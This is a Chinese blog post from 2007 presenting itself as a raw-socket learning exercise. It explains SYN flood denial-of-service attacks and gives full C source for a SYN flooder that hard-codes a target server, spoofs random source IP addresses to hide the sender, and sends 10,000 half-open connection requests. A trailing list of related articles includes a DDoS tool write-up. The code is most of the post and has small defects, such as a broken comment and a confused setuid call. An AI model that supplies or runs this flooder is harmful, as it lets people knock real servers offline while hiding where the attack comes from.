Linux下的Dos攻击程序

原创 2007年10月04日 14:08:00

     今天学习了Unix/Linux网络编程的原始套接字,并完成了一个DoS(拒绝服务攻击)程序。该程序向HTTP服务器发送大量建立连接的的请求,但是不发送ack报文,从而可以使服务器产生大量半连接。在半连接超时之前,服务器不堪重负而停止响应其它请求。当多台机器同时参与攻击时候,就办成DDoS攻击(分布式拒绝服务攻击)。

    编写原始套接字需要了解报文结构,下面这个链接http://blog.chinaunix.net/u/28949/showart_251762.html可以查看ip包和tcp包的结构。

 

#include <stdio.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<netinet/ip.h>
#include 
<netinet/tcp.h>
#include 
<stdlib.h>
#include 
<errno.h>
#include 
<netdb.h>

#define DES_PORT 80 /*欲攻击的端口为80,即HTTP端口 */
#define LOCAL_PORT 8888/*使用的本地端口*/

void send_tcp(int,struct sockaddr_in *);
int main()
{
   
int sockfd;
   
int on=1;
   
struct sockaddr_in serveraddr;
   bzero(
&serveraddr,sizeof(struct sockaddr_in));/*结构清零*/
   serveraddr.sin_family
=AF_INET;/*针对Internet*/
   serveraddr.sin_port
=htons(DES_PORT);/*转换*/
   
/*欲攻击服务器IP为192.168.3.55*/
   
if(inet_pton(AF_INET,"192.168.3.55",&serveraddr.sin_addr)!=1)
   
{
      printf(
"wrong in inet_pthon ");
      exit(
1);
   }

   
/*建立原始套接字*/
   sockfd
=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
   
if(sockfd<0)
   
{
      fprintf(stderr,
"wrong in establish socket%s ",hstrerror(h_errno));
      exit(
1);
   }

   
/*设定套接字选项,表明IP头部自己填写*/
   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,
&on,sizeof(on));
   setuid(getpid());
/*由于原始套接字只能由root产生*/
   send_tcp(sockfd,
&serveraddr);/*产生并发送报文*/
}


void send_tcp(int sockfd,struct sockaddr_in * serveraddr)
{
   
char buffer[100];/*报文填写在buffer中*/
   
struct ip *myip;/*指向IP头部结构的指针*/
   
struct tcphdr *mytcp;/*指向TCP头部结构的指针*/
   
int headerlen,i;
   bzero(buffer,
sizeof(buffer));
   
/*TCP+IP头部长度,由于数据长度为0,这实际也是整个包的长度*/
   headerlen
=sizeof(struct ip)+sizeof(struct tcphdr);/*这里为40*/
   myip
=(struct ip*)buffer;/*注意这种用法*/
   myip
->ip_v=IPVERSION;/*版本为IPV4*/
   
/*该字段表示头部长度,一个单位表示4个字节,所以要除以4*/
   myip
->ip_hl=sizeof(struct ip)>>2;/*20除以4等于5*/
   myip
->ip_tos=0;
   myip
->ip_len=htons(headerlen);/*数据包总长度,这为40*/
   myip
->ip_id=0;/系统自己填写*/
   myip
->ip_off=0;
   myip
->ip_ttl=MAXTTL;/*TTL最大为255*/
   myip
->ip_p=IPPROTO_TCP;/*采用TCP协议*/
   myip
->ip_sum=0;/*校验和由系统完成*/
   myip
->ip_dst=serveraddr->sin_addr;/*欲攻击服务器地址*/  
   
/***********以下构造TCP头部***********/
   mytcp
=(struct tcphdr*)(buffer+sizeof(struct ip));/*注意这种写法,接在IP头部后填充TCP*/
   mytcp
->source=htons(LOCAL_PORT);/*本地端口*/
   mytcp
->dest=serveraddr->sin_port;/*目的端口*/
   mytcp
->seq=random();/*随机产生任意值*/ 
   mytcp
->ack_seq=0;
   mytcp
->doff=sizeof(struct tcphdr)>>2;/*TCP头部长度,道理同IP*/
   mytcp
->syn=1;/*表明这是TCP三次握手的第一步,需要设SYN=1和SEQ为任意值*/
   mytcp
->check=0;
  
/**********连续发送10000个请求连接报文*************/
   
for(i=0;i<10000;i++)
   
{
        myip
->ip_src.s_addr=random();/*源地址随机产生,从而隐藏自己*/
        
/*发送*/
        sendto(sockfd,buffer,headerlen,
0,(struct sockaddr*)serveraddr,sizeof(struct sockaddr_in));
   }
   
}

 

用Ethereal截包,截图如下

相关文章推荐

Linux 系统下 DDOS 工具 tfn2k 攻击原理详解

Linux 系统下 DDOS 工具 tfn2k 攻击原理详解,Linux 系统 DDOS 工具 tfn2k 攻击原理详解,Linux DDOS 工具 tfn2k 攻击原理,Linux DDOS 工具 ...

linux下dos转unix

  • 2014年01月01日 09:12
  • 66KB
  • 下载

DOS和linux下编程

  • 2010年07月03日 14:25
  • 8.61MB
  • 下载

在linux下,去除^M,将windows格式文件(dos文件)改为unix格式文件

在Windows系统下编辑的文件,换行符回车的格式为'\r\n',在linux系统下,回车的格式为'\n',在Windows下编辑的文本文件在上传至linux服务器时,回车'\r\n'就显示成^M+'...

Linux下的文本dos格式转Unix格式,去除^M符号

问:我在Windows中通过FTP传一个文本文件到Linux中,但是打开文本文件后每行最后都有^M的标志。由于很长,用编辑器去除太麻烦,有什么解决办法呢? 答:为了解决这个问题,Linux下专门有两...

关于windows下的dos和linux下的shell

首先,申明一下.今天恶搞的那一句的程序并无恶意.只是简单想给大家在工作之余一个小小的休息的空隙而已.搞搞别生气,恶搞无恶意.             在今天学linux的教程中,学到shell这个命...

linux下程序开发一

  • 2016年02月17日 17:58
  • 1.33MB
  • 下载

原始套接字的使用之编程实现DoS(拒绝服务)攻击程序

0x00 原理 SYN泛洪攻击(SYN Flood)是当前最流行的DoS与DDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU...

linux下的PPPoE拔号程序源代码

  • 2017年07月31日 18:17
  • 740KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Linux下的Dos攻击程序
举报原因:
原因补充:

(最多只允许输入30个字)